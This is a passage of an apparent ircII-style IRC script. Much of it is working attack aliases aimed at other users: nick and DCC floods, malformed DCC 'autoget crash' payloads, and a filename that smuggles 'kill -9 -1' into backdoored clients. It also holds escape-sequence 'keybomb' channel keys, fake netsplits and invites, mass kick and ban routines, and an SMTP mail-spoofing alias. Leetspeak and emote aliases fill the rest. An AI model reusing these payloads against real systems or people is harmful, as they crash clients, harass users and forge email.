total.times) { /quote nick $d.nick.1 /quote nick $a.nick @ nick.count = nick.count + 2 } ^assign -d.nick.1 ^wait -cmd //nick $a.nick ^assign -nick.count } alias nickflood { EVAL ^assign OLDNICK $N @ NFCOUNTER = 0 while (NFCOUNTER < [$0]) { @ NFCOUNTER = NFCOUNTER + 1 EVAL quote NICK $randcrap(2)$rand(9999999) } ^assign -NFCOUNTER EVAL //nick $OLDNICK ^assign -OLDNICK } alias dccbomb { if ([$0]) { quote PRIVMSG $0 :DCC SEND fuckyou1.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyou2.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyou3.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyou4.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyou5.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyou6.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyou7.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyou8.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyou9.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyo10.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyo11.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyo12.zip $rand(99999999) 19 6667 quote PRIVMSG $0 :DCC SEND fuckyo13.zip $rand(99999999) 19 6667 secho %dcc autoget bomb% sent to $0 }{ secho Usage: /DCCBOMB <nick>. Sends several invalid DCC requests. }} alias scrdie { if ([$0]) { secho %dcc autoget killer% sent to $0 repeatcmd 20 eval quote privmsg $0 :DCC SEND $randcrap(5)$${rand(9999)} $${rand(9999999999)} $${rand(9999)} $${rand(9999)} wait } {;secho Usage: /SCRDIE <nick>. Sends several invalid DCC requests.} } alias dccflood { quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) quote PRIVMSG $0 :DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99)DCC CHAT $rand(9999) $ra nd(99) $rand(99)DCC CHAT $rand(9999) $rand(99) $rand(99) secho %dcc chat flood% sent to $0 } alias dcctsunami { if ([$0]) { quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) quote PRIVMSG $0 :DCC SEND $TSU$rand(9) $rand(9) $rand(9) secho %dcc tsunami% sent to $0 }{ secho Usage: /DCCTSUNAMI <nick>. Sends flood of DCC tsunamis. }} alias pongflood { if ([$0]) { repeatcmd 4 EVAL /quote PONG $TSU :$0 secho %pong flood% sent to $0 }{ secho Usage: /PONGFLOOD <nick>. Sends flood of tsunami PONGs. }} alias junkflood { if ([$0]) { repeatcmd 5 EVAL /quote NOTICE $0 :$randcrap(120) secho %junk flood% sent to $0 }{ secho Usage: /JUNKFLOOD <nick>. Sends flood of bullshit text. }} alias echoflood { if ([$0]) { repeatcmd 4 EVAL /quote PRIVMSG $0 :$ECHOSTR secho %echo flood% sent to $0 }{ secho Usage: /ECHOFLOOD <nick>. Sends flood of ECHO text. }} alias boomflood { if ([$0]) { repeatcmd 4 EVAL /quote PRIVMSG $0 :$BOOMSTR secho %boomflood% sent to $0 }{ secho Usage: /BOOMFLOOD <nick>. Sends flood of ECHO text. }} ## fakes. alias fakemail {@ d.fake.host = [$"[%S%] Enter host to fake from: "] @ d.fake.from = [$"[%S%] Enter username to fake: "] @ d.fake.to = [$"[%S%] Enter email address to send to: "] @ d.fake.subject = [$"[%S%] Enter subject: "] @ d.fake.message = [$"[%S%] Enter short message: "] secho Connecting to $d.fake.host ^set display off @ d.fake.socket = connect($d.fake.host 25) ^set display on if (d.fake.socket >= 0) {^userhost $N -cmd if ([$3]) {if ([$3]!=[]) {secho Sending data.. dcc raw $d.fake.socket $d.fake.host helo $4 sleep 1 dcc raw $d.fake.socket $d.fake.host mail from:$d.fake.from dcc raw $d.fake.socket $d.fake.host rcpt to:$d.fake.to sleep 2 dcc raw $d.fake.socket $d.fake.host data dcc raw $d.fake.socket $d.fake.host To: $d.fake.to dcc raw $d.fake.socket $d.fake.host Subject: $d.fake.subject dcc raw $d.fake.socket $d.fake.host $d.fake.message dcc raw $d.fake.socket $d.fake.host . dcc raw $d.fake.socket $d.fake.host sleep 6 dcc raw $d.fake.socket $d.fake.host quit secho Fake mail from $d.fake.from to $d.fake.to sent ^assign -d.fake.socket ^assign -d.fake.host ^assign -d.fake.subject ^assign -d.fake.message ^assign -d.fake.to ^assign -d.fake.from} }{ secho unable to determine hostname ^dcc close raw $d.fake.socket ^assign -d.fake.socket ^assign -d.fake.host ^assign -d.fake.subject ^assign -d.fake.message ^assign -d.fake.to ^assign -d.fake.from} }{secho Error connecting to $d.fake.host ^assign -d.fake.host }} alias fakechat { if ([$0]) { /quote PRIVMSG $0 :DCC CHAT chat ${rand(3) + 1}$rand(6)$rand(5)$rand(4)$rand(4)$rand(7)$rand(8)$rand(9)$rand(6)${rand(2) + 1} ${rand(5) + 1}$rand(5534) secho %fake dcc chat% sent to $0 }{ secho Usage /FAKECHAT <nick>. Sends a fake DCC chat request. }} alias fakeres { if ([$0]) { /quote PRIVMSG $0 :DCC RESUME ${rand(3) + 1}$rand(6)$rand(5)$rand(4)$rand(4)$rand(7)$rand(8)$rand(9)$rand(6)${rand(2) + 1} ${rand(5) + 1}$rand(5534) ${rand(8) + 1}$rand(9999) secho %fake dcc resume% sent to $0 }{ secho Usage /FAKERES <nick>. Sends a fake DCC resume request. }} alias fakedcc { @ f.bytes = [$2] /quote PRIVMSG $0 :DCC SEND $1 ${rand(3) + 1}$rand(6)$rand(5)$rand(4)$rand(4)$rand(7)$rand(8)$rand(9)$rand(6)${rand(2) + 1} ${rand(5) + 1}$rand(5534) $f.bytes\ secho %fake dcc send% $1 sent to $0 ^assign -f.bytes } alias splitquit {eval d.quit $S irc.schlong.net} alias fakejoin { if ([$0]) { @ f.ake = [$0] @ f.chn = [$f.ake] join #$f.chn c +ni secho You have just fake joined $f.chn }{ secho Usage: /FAKEJOIN <channel>. Fake-joins a channel. }} alias inv0 { if ([$0]) { ^assign INVITESTR $strip(# 0) ^assign INVITESTR \${INVITESTR} quote INVITE $0 $INVITESTR ^assign -INVITESTR secho %fakeinvite% sent to $0 to channel 0 }{ secho Usage: /INV0 <nick>. Invites user to channel 0 making them part all.}} ^assign slg exec alias fakeinvite { if ([$1]) { ^assign INVITESTR $strip(# $1) ^assign INVITESTR \#${INVITESTR} quote INVITE $0 $INVITESTR ^assign -INVITESTR secho Fake invited $0 to channel $1  } {secho Usage: /FAKEINVITE <nick> <channel>. Fake-invites a user to channel.} } ### flood strings assign TSU ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ assign VEVES VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS VeveS ^[^[^[^[^[^[^ [^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^[^V assign BEEP  eval ^assign LICE $encode($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) $en code($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) $encode($rand(999999999)) @ zmodem_flood = [**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00**B00] @ flash_flood = [#8[?3\;5h\(0#8[?3\;5h\(0#8[?3\;5h\(0#8[?3\;5h\(0#8[?3\;5h\(0#8[?3\;5h\(0#8[?3\;5h\(0#8[?3\;5h\(0#8[?3\;5h\(0#8[?3\;5h\(0#8[?3\;5h\(0)] @ d.z = [**B00] @ d.f = [#8[?3\;5h\(0] alias crash { if ([$0]) { secho %low-level autoget crash% sent to $0 /quote PRIVMSG $0 :DCC SEND $rand(9999999999999) -9 -1 150973 150973 }{ secho Usage: /CRASH <nick>. Sends a moderate DCC autoget crash. }} alias crash2 { if ([$0]) { secho %advanced autoget crash% sent to $0 /quote PRIVMSG $0 :DCC SEND schlong.irc 150973 150973 150973 150973 150973 }{ secho Usage: /CRASH2 <nick>. Sends an advanced DCC autoget crash. }} alias chaosk { if ([$0]) { //^ctcp $0 rquit secho %chaos killer% sent to $0 } {/secho Usage: /CHAOSK <nick>. Kills users running unregistered Chaos.} } alias phoenk { if ([$0]) { /quote privmsg $0 :DCC SEND blah&kill -9 -1 23984729 1234 ^repeatcmd 14 /quote privmsg $0 :CHOPS secho %phoenix killer% sent to $0 } {secho Usage: /PHOENK <nick>. Crashes users running backdoored Phoenix.} } alias randcrap { @ RCOUNTER = 1 while (RCOUNTER < [$0]) { @ RCOUNTER = RCOUNTER + 1 EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP} } EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP} ^assign FUNCTION_RETURN $RCRAP ^assign -RCRAP ^assign -RCOUNTER } alias upit { ^assign $0 $toupper($1) } alias fop {/quote MODE $C +oooo $0 $0 $0 $0} set input_prompt Now loading schlong! .o%&[:S:::::::]&%o. alias fsplit { @ dservz = [$"Server to put faker on - "] @ dpootz = [$"Port - "] @ dfake = [$"Server to fake split - "] @ dnickz = [$"Nick - "] @ dchan = [$"channel to fake out - "] @ con.numz = [$connect($dservz $dpootz)] @ allmanz = [$con.numz $dservz] /dcc raw $allmanz USER $fsplituser . . :schlong? /dcc raw $allmanz NICK $dnickz /dcc raw $allmanz JOIN $dchan /dcc raw $allmanz QUIT :$fsplitserv $dfake } alias jokemass { if ([$0]) { secho Joke massdeopping. \(You KNOW you're gonna get kicked!\) ^assign person $0 userhost Mode -cmd if ([$4]==[]) { _dojoke Mode }{ userhost Mode_ -cmd if ([$4]==[]) { _dojoke Mode_ }{ userhost _Mode -cmd if ([$4]==[]) { _dojoke _Mode }{ userhost _Mode_ -cmd if ([$4]==[]) { _dojoke _Mode_ }{ userhost Mode__ -cmd if ([$4]==[]) { _dojoke Mode__ }{ userhost __Mode -cmd if ([$4]==[]) { _dojoke __Mode }{ }}}}}} }{/echo $exx You must specify a nick to fake.} } alias _findjoke { if (([$[1]0] == [@]) && (match($0 @$person $person)==0)) {^assign mdopz $strip(@ $0) ${mdopz}} if (([$[1]1] == [@]) && (match($1 @$person $person)==0)) {^assign mdopz $strip(@ $1) ${mdopz}} if (([$[1]2] == [@]) && (match($2 @$person $person)==0)) {^assign mdopz $strip(@ $2) ${mdopz}} if ([$3]) {/_findjoke $3-} } alias _dojoke { ^assign onick $N //nick $0 ^assign -mdopz ^on ^names "*" _findjoke $$1-\;^on ^names -* /names $C wait @ mc = 1 wait while (#mdopz>=mc) { if ([$word(${mc+1} $mdopz)]) {//me change "-ooo $word(${mc-1} $mdopz) $word($mc $mdopz) $word(${mc+1} $mdopz)" on channel $C by $person} { if ([$word(${mc} $ml)]) {//me change "-oo $word(${mc-1} $mdopz) $word($mc $mdopz)" on channel $C by $person} {//me change "-o $word(${mc-1} $mdopz)" on channel $C by $person} } @ mc = mc + 3 } //nick $onick ^assign -person ^assign -onick ^assign -mdopz ^assign -jokecmd } # Cooltalking assigns (for when you want to feel EXTRA elite :) @ sane.set = [abcdefghijklmnopqrstuvwxyz] assign leet.set.0.0 a assign leet.set.0.1 A assign leet.set.0.2 @ assign leet.set.0.3 a assign leet.set.1.0 b assign leet.set.1.1 B assign leet.set.1.2 |3 assign leet.set.1.3 b assign leet.set.2.0 c assign leet.set.2.1 C assign leet.set.2.2 ( assign leet.set.2.3 [ assign leet.set.3.0 d assign leet.set.3.1 D assign leet.set.3.2 c| assign leet.set.3.3 |) assign leet.set.4.0 e assign leet.set.4.1 E assign leet.set.4.2 3 assign leet.set.4.3 [- assign leet.set.5.0 f assign leet.set.5.1 F assign leet.set.5.2 /= assign leet.set.5.3 ph assign leet.set.6.0 g assign leet.set.6.1 G assign leet.set.6.2 9 assign leet.set.6.3 g assign leet.set.7.0 h assign leet.set.7.1 H assign leet.set.7.2 # assign leet.set.7.3 |-| assign leet.set.8.0 i assign leet.set.8.1 I assign leet.set.8.2 1 assign leet.set.8.3 ! assign leet.set.9.0 j assign leet.set.9.1 J assign leet.set.9.2 _/ assign leet.set.9.3 j assign leet.set.10.0 k assign leet.set.10.1 K assign leet.set.10.2 |< assign leet.set.10.3 k assign leet.set.11.0 l assign leet.set.11.1 L assign leet.set.11.2 |_ assign leet.set.11.3 /_ assign leet.set.12.0 m assign leet.set.12.1 M assign leet.set.12.2 |\/| assign leet.set.12.3 m assign leet.set.13.0 n assign leet.set.13.1 N assign leet.set.13.2 |\| assign leet.set.13.3 /v assign leet.set.14.0 o assign leet.set.14.1 O assign leet.set.14.2 0 assign leet.set.14.3 () assign leet.set.15.0 p assign leet.set.15.1 P assign leet.set.15.2 /> assign leet.set.15.3 p assign leet.set.16.0 q assign leet.set.16.1 Q assign leet.set.16.2 (,) assign leet.set.16.3 q assign leet.set.17.0 r assign leet.set.17.1 R assign leet.set.17.2 /~ assign leet.set.17.3 /^ assign leet.set.18.0 s assign leet.set.18.1 S assign leet.set.18.2 5 assign leet.set.18.3 $ assign leet.set.19.0 t assign leet.set.19.1 T assign leet.set.19.2 + assign leet.set.19.3 ~|~ assign leet.set.20.0 u assign leet.set.20.1 U assign leet.set.20.2 (_) assign leet.set.20.3 |_| assign leet.set.21.0 v assign leet.set.21.1 V assign leet.set.21.2 \/ assign leet.set.21.3 v assign leet.set.22.0 w assign leet.set.22.1 W assign leet.set.22.2 |/\| assign leet.set.22.3 \/\/ assign leet.set.23.0 x assign leet.set.23.1 X assign leet.set.23.2 >< assign leet.set.23.3 x assign leet.set.24.0 y assign leet.set.24.1 Y assign leet.set.24.2 `/ assign leet.set.24.3 v/ assign leet.set.25.0 z assign leet.set.25.1 Z assign leet.set.25.2 2 assign leet.set.25.3 ~/_ alias eleetf { @ sane.str = [$*] @ sane.len = @sane.str @ leet.str = [] @ leet.len = 0 while (leet.len < sane.len) { @ leet.ind = index($mid($leet.len 1 $sane.str) $sane.set) if (leet.ind > -1) { @leet.str = leet.str ## leet.set[$leet.ind][$rand(4)] } { @leet.str = leet.str ## mid($leet.len 1 $sane.str) } @leet.len = leet.len + 1 } @ function_return = leet.str ^assign -leet.len ;^assign -leet.str ;^assign -leet.ind ^assign -sane.str ;^assign -sane.str } alias me1 {//me ${ eleetf($*) } } alias say1 {//say ${ eleetf($*) } } alias msg1 {//msg $0 ${ eleetf($1-) } } alias topic1 {//topic $C ${ eleetf($0-)} } alias say2 //say $cooltalk2($0-) alias me2 //me $cooltalk2($0-) alias topic2 //topic $C $cooltalk2($0-) alias msg2 //msg $0 $cooltalk2($1-) alias cooltalk2 { @in=[$0-] @out=[] @sz=[$@in] @pt=0 while ([$pt] < [$sz]) { @out= [$mid($pt 1 $in)] ## out @pt= pt+1 } @function_return= out } alias say3 //say $cooltalk3($0-) alias me3 //me $cooltalk3($0-) alias topic3 //topic $C $cooltalk3($0-) alias msg3 //msg $0 $cooltalk3($1-) alias cooltalk3 { @in=[$0-] @out=[] @sz=[$@in] @pt=0 while ([$pt] < [$sz]) { @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 @out= out ## [$tolower($mid($pt 1 $in))] @pt= pt+1 } @function_return= out } alias say4 //say $cooltalk4($0-) alias me4 //me $cooltalk4($0-) alias topic4 //topic $C $cooltalk4($0-) alias msg4 //msg $0 $cooltalk4($1-) alias cooltalk4 { @in=[$0-] @out=[] @sz=[$@in] @pt=0 while ([$pt] < [$sz]) { @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 } @function_return= out } alias say5 //say $cooltalk5($0-) alias me5 //me $cooltalk5($0-) alias topic5 //topic $C $cooltalk5($0-) alias msg5 //msg $0 $cooltalk5($1-) alias cooltalk5 { @in=[$0-] @out=[] @sz=[$@in] @pt=0 while ([$pt] < [$sz]) { @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 @out= out ## [$tolower($mid($pt 1 $in))] @pt= pt+1 } @function_return= out } alias say6 //say $cooltalk6($0-) alias me6 //me $cooltalk6($0-) alias topic6 //topic $C $cooltalk6($0-) alias msg6 //msg $0 $cooltalk6($1-) alias cooltalk6 { @in=[$0-] @out=[] @sz=[$@in] @pt=0 while ([$pt] < [$sz]) { @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 } @function_return= out } alias say7 say $cooltalk7($0-) alias me7 me $cooltalk7($0-) alias topic7 //topic $C $cooltalk7($0-) alias msg7 //msg $0 $cooltalk7($1-) alias cooltalk7 { @in=[$0-] @out=[] @sz=[$@in] @pt=0 while ([$pt] < [$sz]) { @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 @out= out ## [$tolower($mid($pt 1 $in))] @pt= pt+1 } @function_return= out } alias say8 //say $cooltalk8($0-) alias me8 //me $cooltalk8($0-) alias topic8 //topic $C $cooltalk8($0-) alias msg8 //msg $0 $cooltalk8($1-) alias cooltalk8 { @in=[$0-] @out=[] @sz=[$@in] @pt=0 while ([$pt] < [$sz]) { @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 @out= out ## [$tolower($mid($pt 1 $in))] @pt= pt+1 } @function_return= out } alias say9 //say $cooltalk9($0-) alias me9 //me $cooltalk9($0-) alias topic9 //topic $C $cooltalk9($0-) alias msg9 //msg $0 $cooltalk9($1-) alias cooltalk9 { @in=[$0-] @out=[] @sz=[$@in] @pt=0 while ([$pt] < [$sz]) { if ([$mid($pt 1 $in)] == [ ]) {@out = out ## [ ];@pt=pt+1} { @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 } if ([$mid($pt 1 $in)] == [ ]) {@out = out ## [ ];@pt=pt+1} { @out= out ## [$tolower($mid($pt 1 $in))] @pt= pt+1 } if ([$mid($pt 1 $in)] == [ ]) {@out = out ## [ ];@pt=pt+1} { @out= out ## [$toupper($mid($pt 1 $in))] @pt= pt+1 } if ([$mid($pt 1 $in)] == [ ]) {@out = out ## [ ];@pt=pt+1} { @out= out ## [$tolower($mid($pt 1 $in))] @pt= pt+1 } } @function_return= out } alias haha say bahahahah! alias yawn say *yawn* alias sigh say *sigh* alias hehe say hehehhe alias hmm say hmmmmmmmmmm... alias ooo say oOooOOoOOooOOoooo alias shrug say *shrug* i dunno.. alias gig me giggles like a freak alias grin say *grin* alias groan say uuugggghhh.. alias moan say uuuhhhh.. alias nod say *nod* alias clap me applauds alias bow me bows down to $0's honor $1- alias burp say *burp* alias cough say *cough* alias cry me bursts into tears. alias gasp say *gasp* alias scream say AAAAAHHHHHHHH!!! alias shiv say *sshhiivveerr* alias snore say zzZZzz *snore* zzZZzz alias smack me smacks $0 $1- alias hug me hugs alias yank me yanks $0 by the hair $1- alias pat me pats $0 on the back $1- alias poke me pokes $0 in the face $1- alias slap me slaps $0 like the bitch that he is $1- alias nudge me nudges alias fakeoffer { @ rfile = [$"[%S%] Filename to fake offer: "] @ rdesc = [$"[%S%] Enter a description: "] @ rsize = [$"[%S%] Enter a filesize in kb, number only: "] secho Fake DCC offer set. /roffer to offer to channel. /rdoffer to turn off. @ rdccon = [yes] } alias rdoffer { @ rdccon = [no] secho Fake DCC offer now off. } alias roffer { /eval say Packs offered! /msg $N RDCC send #n for files: /eval say open slots: [10 of 10] total packs: [1] /eval say #1 [$rfile] [$rsize kb] - [$rdesc]} alias special { /yecho Special aliases: \(/ [] \). /yecho haha, yawn, sigh, hehe, grin, shrug, gig, groan, *nudge, /yecho moan, nod, *clap, *bow, burp, cough, cry, gasp, scream, /yecho snore, *smack, *hug, *yank, *pat, *poke, *slap, hmm, shiv. /yecho * indicates that a should be specified afterwards. } alias mbkick { ^assign KICKMASK *$0* ^assign KICKMASK2 $0 ^on ^who * { if ((rmatch($1!$3@$4 $KICKMASK))&&([$1] != [$N])) { ^assign SHITNICKS $1 ${SHITNICKS} ^assign SHITBANS *!*$strip(~ $3)@$4 ${SHITBANS} } } ^who * wait ^on who - * listmdop $SHITNICKS lban $SHITBANS sleep 1 ^on ^who * { if ((rmatch($1!$3@$4 $KICKMASK))&&([$1] != [$N])) {//kick $0 $1 $mbkmsg} } ^who * wait ^on who - * ^assign -KICKMASK ^assign -KICKMASK2 ^assign -SHITNICKS ^assign -SHITBANS } alias massban { ^on ^who * {/if ([$1] != [$N]) {^assign SHITBANS *!*$strip(~ $3)@$4 ${SHITBANS}}} ^who * wait ^on who - * lban $SHITBANS ^assign -SHITBANS } alias botkick {/botkill $0-} alias botkill { if ([$0]) { ^Userhost $0 -CMD if ([$3]) { if ([$4] != []) { ^assign KMASK *!*$strip(~ $3)@$4 /mbkick $KMASK ^assign -KMASK } {/secho Cannot find $0} } } {/secho Usage: /BOTKILL <nick>. Kicks all nick's clones.} } ^on ^public "% % *" { eval eval if ([$0]==[$shutup]) {/kickshut $1 $0} if ([$HLINGS]==[on]) { eval eval if \(match\(*${hilite}* $$2-\)\) { echo \($0)\ $2- secho $0 said the magic word $hilite\. }}{ eval eval if \(match\(*${areply}* $$2-\)\) { echo \($0)\ $2- ^assign arl $0 ^addmsg $0 $msglist} {echo \($0)\ $2-}}} alias fix.public { ^on ^public "% % *" { eval eval if ([$0]==[$shutup]) {/kickshut $1 $0} if ([$HLINGS]==[on]) { eval eval if \(match\(*${hilite}* $$2-\)\) { echo \($0)\ $2- secho $0 said the magic word $hilite\. }}{ eval eval if \(match\(*${areply}* $$2-\)\) { echo \($0)\ $2- ^assign arl $0 ^addmsg $0 $msglist} {echo \($0)\ $2-}}} } ^on ^public_notice * {echo \($0:$1)\ $2-} ^on ^public_other "% %" {echo $1 \($0)\ $2-} ^on ^action "*" { if ([$1]==[$C]) {* $0 $1-}{* ($1) $0 $1-} if ([$0]==[$shutup]) {/kickshut $1 $0} } #^on ^send_action "*" { #echo * $N $1- #} alias kickshut kick $0 $1 $shutmsg alias shutup if ([$0]) { /stalk ^assign shutup $0 secho Shutup kick placed on $shutup .. /talk to remove. /say silence $shutup! ^on -nickname "$Shutup *" { k $1 $shutmsg /stalk sleep 2 /shutup $1 }}{ secho Usage: /SHUTUP <nick>. Places a shutup kick on user. } /alias stalk { #^on -public "$shutup $C *" ^fix.public ^on -action "$shutup $C *" ^on -nickname "$shutup *" } /alias talk { /stalk /say ok, talk $shutup\. ^assign shutup 0 } alias randnick { @ r.c = [abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_^\\\{\}\[\]`|0123456789-] @ r.n = mid($rand(62) 1 $lcs.chrs) for (@ r.l = 1,r.l < 9,@ r.l = r.l + 1) {@ r.n = [$r.n]##[$mid($rand(72) 1 $r.c)]} @ function_return = [$r.n] purge r } alias rnickkick { ^set display off @ NUMLAMERS = 0 on ^who * { if ([$1] != [$N]) { @ NUMLAMERS = NUMLAMERS + 1 ^assign LAMERS $1 ${LAMERS} } } ^who * wait wait ^set display on EVAL ^assign FUNCTION_RETURN $word($rand($NUMLAMERS) $LAMERS) ^assign -LAMERS ^assign -NUMLAMERS ^on who - * } alias schlong { @ tmp_num = rand($max_schlong) timer 3 //me $schlong[$tmp_num] ^assign -tmp_num } alias randomk { if ([$rantries]==[1]) { secho Attempting to find a non-op in channel.. } EVAL ^assign rnick $rnickkick() if ([$ischanop($rnick $C)]==[1]) { @ rantries = rantries + 1 if ([$rantries]==[11]) { secho No non-ops found in this channel. @ rantries = [1] }{ /randomk }}{ /kick $C $rnick $rkickmsg }} alias keybomb { if ([$0] == []) { yecho Usage: /KEYBOMB <keyname> yecho die .............................. Really fuck up a channel yecho satan ............................ Flashing '!!S4T4N!!' sign yecho fire ............................. Flashing 'FIRE!' sign yecho sz ............................... Zmodem startup yecho cls .............................. Clear screen yecho font ............................. 8-bit data mode yecho reset ............................ Reset terminal yecho invert ........................... Reverse mode yecho tsunami .......................... Tsunami key yecho Type /keybomb un<keyname> to remove, or /NOKEY. yecho NOTE: You must have channel keybomb protection off. } {^kb$0 $1-} } alias kbdie //mode $C +k #8[?3\;5h\(0 alias kbfont //mode $C +k \(0 alias kbinvert //mode $C +k [?3\;5h alias kbsz //mode $C +k **B00 alias kbcls //mode $C +k  alias kbfire //mode $C +k [41\;5mFIRE! alias kbsatan //mode $C +k [41\;5m!!S4T4N!! alias kbreset //mode $C +k  alias kbtsunami //mode $C +k  alias kbundie //mode $C -k #8[?3\;5h\(0 alias kbunfont //mode $C -k \(0 alias kbuninvert //mode $C -k [?3\;5h alias kbunsz //mode $C -k **B00 alias kbuncls //mode $C -k  alias kbunfire //mode $C -k [41\;5mFIRE! alias kbunsatan //mode $C -k [41\;5m!!S4T4N!! alias kbunreset //mode $C -k  alias kbuntsunami //mode $C -k  alias kb /yecho Type /keybomb list for a list of +k bombs. ^assign var.dnck NONE alias antikill { if (set.akll!=[Y]) { @ set.toak= set.akll= [Y] secho Antikill has been auto-engaged. ^on ^raw "% 433 *" { if ((N!=var.dnck) && (var.dnck!=[NONE])) { //nick $var.dnck secho Nick already in use, using default. }{ //nick $left(5 $N)$rand(9999) secho Nick already in use, using random nick. } ^on -window "% ??? You have been rej*" if ([$1]==[***]) {/DoChangeNick} ^on -window "% ??? % Nickname Col% KILL*" if ([$1]==[***]) {/DoChangeNick} ^on -raw_irc "%.% QUIT :*Killed* %.%*%.%*" { incKill if ((cnt.kll>=max.kll) && (var.stopchg!=[Y])) { if (var.dnck!=[NONE]) { @ var.stopchg= [Y] @ cnt.kll= 0 timer 10 ^assign -var.stopchg ChangeNick secho Max Kills reached. Changing nick... }}}}}{ @ set.toak= set.akll= [N] secho Antikill has now been disengaged. ^on raw_irc -"%.% QUIT :*Killed* %.%*%.%*" ^on raw_irc -"% 433 